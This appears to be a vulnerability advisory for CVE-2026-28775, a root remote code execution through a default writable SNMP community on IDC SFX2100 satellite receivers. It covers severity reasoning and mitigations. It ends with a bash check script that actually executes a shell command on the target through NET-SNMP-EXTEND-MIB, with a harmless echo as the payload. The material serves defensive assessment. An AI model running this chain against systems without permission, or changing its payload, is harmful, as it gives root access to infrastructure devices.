An unauthenticated Remote Code Execution

CVE-2026-28775 is an unauthenticated root RCE in the SNMP service on IDC SFX Series SuperFlex Satellite Receiver devices, notably the SFX2100 family. The flaw depends on two things lining up at once: the device exposes SNMP to the attacker, and the shipped private SNMP community still has read/write access, letting the attacker use NET-SNMP-EXTEND-MIB to define and run commands as root. Public writeups and downstream vuln records describe affected versions as IDC SFX Series / SFX2100 devices running vulnerable net-snmp versions prior to 5.8.

The vendor-style 9.8/10.0 label is technically defensible in a lab, because if the port is reachable the exploit path is brutally short and lands as root with no auth and no user clicks. In real enterprises, though, this is not Exchange or an edge VPN: it is a niche OT/broadcast appliance, usually on a management or facility network, and exploitation normally requires an attacker to already have network adjacency to UDP/161 on the box. That exposure friction drags the operational severity down from *drop-everything CRITICAL* to a very serious *HIGH*.

Why this verdict

• Downgraded for attacker position: exploitation requires network reachability to the SNMP management service, which in real deployments usually implies internal access, a routed management segment, or a badly exposed OT edge.
• Still high because the exploit is short and clean: no credentials, no user interaction, and public reproduction steps already exist using standard Net-SNMP tooling.
• Population is narrow, impact is not: this is a specialized appliance rather than a mass enterprise platform, but compromise lands as root on infrastructure that can be operationally sensitive.

Why not higher?

This is not an every-enterprise edge-service emergency. The vulnerability sits behind SNMP exposure assumptions that are often blocked by segmentation, ACLs, or simple lack of internet reachability, and there is no KEV listing or reviewed evidence of broad in-the-wild exploitation. Those are meaningful downward pressures.

Why not lower?

If an attacker can touch the service, there is almost no exploit friction left. Default writable community access plus NET-SNMP-EXTEND-MIB means unauthenticated command execution as root, which is too easy and too complete to relegate to MEDIUM.

1. Block UDP/161 to the appliance — Restrict SNMP to approved NMS sources only at firewalls, routers, and local ACLs. For a HIGH verdict, deploy this compensating control within 30 days; faster if the device is reachable from user, server, or third-party networks.
2. Disable SNMP write access — Remove or rotate the default private community, eliminate SNMP v1/v2c write communities, and prefer SNMPv3 where the product supports it. This cuts the exploit chain at the most decisive step and should be completed within 30 days.
3. Disable extend functionality or SNMP entirely — If the receiver does not require SNMP for operations, shut it off. If SNMP is required, disable NET-SNMP-EXTEND-MIB style command-extension capability where feasible; implement this within 30 days as a temporary or permanent hardening measure.
4. Constrain management-plane reachability — Move the device into a dedicated management or OT enclave with jump-host-only administration and explicit allowlists. For HIGH, this is a valid compensating control to stand up within 30 days while you verify patchability and vendor guidance.
5. Alert on SNMP SET activity — Instrument IDS, firewall logs, or SNMP daemon logs to detect snmpset behavior and especially writes under nsExtend* OIDs. Detection does not prevent exploitation, but it helps catch probing and repeat attempts while compensating controls are being rolled out within 30 days.

Run this from an auditor workstation or management jump host that has network reachability to the target's UDP/161 port and the Net-SNMP client tools installed. Invoke it as ./check-cve-2026-28775.sh 10.10.20.15; no target credentials are needed because the check tests the default communities, but you do need permission to send SNMP probes from your source IP.

#!/usr/bin/env bash
# check-cve-2026-28775.sh
# Safe-ish verification for CVE-2026-28775 on IDC SFX/SFX2100 targets.
# It checks whether default SNMP communities are accepted and whether
# NET-SNMP-EXTEND-MIB can be abused to execute a benign command.
#
# Output:
#   VULNERABLE - default write community works and extend MIB executes
#   PATCHED    - target responds but chain is blocked
#   UNKNOWN    - no response / tools missing / indeterminate
#
# Exit codes:
#   0 = VULNERABLE
#   1 = PATCHED
#   2 = UNKNOWN

set -u

TARGET="${1:-}"
RW_COMMUNITY="private"
RO_COMMUNITY="public"
TAG="ngcve28775"
MIB="NET-SNMP-EXTEND-MIB"
OID_BASE="nsExtendStatus.\"${TAG}\""
TMP_OUT="$(mktemp 2>/dev/null || echo /tmp/ngcve28775.$$)"

cleanup() {
  snmpset -v1 -c "$RW_COMMUNITY" "$TARGET" "$MIB::$OID_BASE" i 6 >/dev/null 2>&1 || true
  rm -f "$TMP_OUT" >/dev/null 2>&1 || true
}
trap cleanup EXIT

need_cmd() {
  command -v "$1" >/dev/null 2>&1
}

if [[ -z "$TARGET" ]]; then
  echo "UNKNOWN - usage: $0 <ip-or-hostname>"
  exit 2
fi

for cmd in snmpget snmpset snmpwalk timeout; do
  if ! need_cmd "$cmd"; then
    echo "UNKNOWN - missing required command: $cmd"
    exit 2
  fi
done

# Basic liveness check: if even the public community does not answer, try private.
if ! timeout 5 snmpget -v2c -c "$RO_COMMUNITY" -Oqv "$TARGET" SNMPv2-MIB::sysDescr.0 >"$TMP_OUT" 2>/dev/null; then
  if ! timeout 5 snmpget -v2c -c "$RW_COMMUNITY" -Oqv "$TARGET" SNMPv2-MIB::sysDescr.0 >"$TMP_OUT" 2>/dev/null; then
    echo "UNKNOWN - target did not respond to default SNMP communities"
    exit 2
  fi
fi

# Attempt to create a benign extend entry using the default write community.
if ! timeout 5 snmpset -m +"$MIB" -v1 -c "$RW_COMMUNITY" "$TARGET" \
  "$MIB::$OID_BASE" i 4 \
  "$MIB::nsExtendCommand.\"${TAG}\"" s /bin/sh \
  "$MIB::nsExtendArgs.\"${TAG}\"" s '-c "echo VULNTEST"' >"$TMP_OUT" 2>/dev/null; then
  echo "PATCHED - default write community or extend write path rejected"
  exit 1
fi

# Trigger execution by reading the extend subtree.
if timeout 5 snmpwalk -m +"$MIB" -v2c -c "$RO_COMMUNITY" "$TARGET" "$MIB::nsExtendObjects" >"$TMP_OUT" 2>/dev/null; then
  if grep -q 'VULNTEST' "$TMP_OUT"; then
    echo "VULNERABLE - default private write community plus extend MIB command execution confirmed"
    exit 0
  fi
fi

# Some targets may require reading back with the same write community.
if timeout 5 snmpwalk -m +"$MIB" -v2c -c "$RW_COMMUNITY" "$TARGET" "$MIB::nsExtendObjects" >"$TMP_OUT" 2>/dev/null; then
  if grep -q 'VULNTEST' "$TMP_OUT"; then
    echo "VULNERABLE - default private write community plus extend MIB command execution confirmed"
    exit 0
  fi
fi

echo "PATCHED - target responded, but benign extend execution was not confirmed"
exit 1

Sources

1. NVD CVE-2026-28775
2. Abdul Mhanni disclosure and PoC
3. OpenCVE record for CVE-2026-28775
4. CISA Known Exploited Vulnerabilities Catalog
5. FIRST EPSS overview
6. FIRST EPSS API documentation
7. Net-SNMP EXTEND MIB documentation
8. Net-SNMP snmpd.conf manual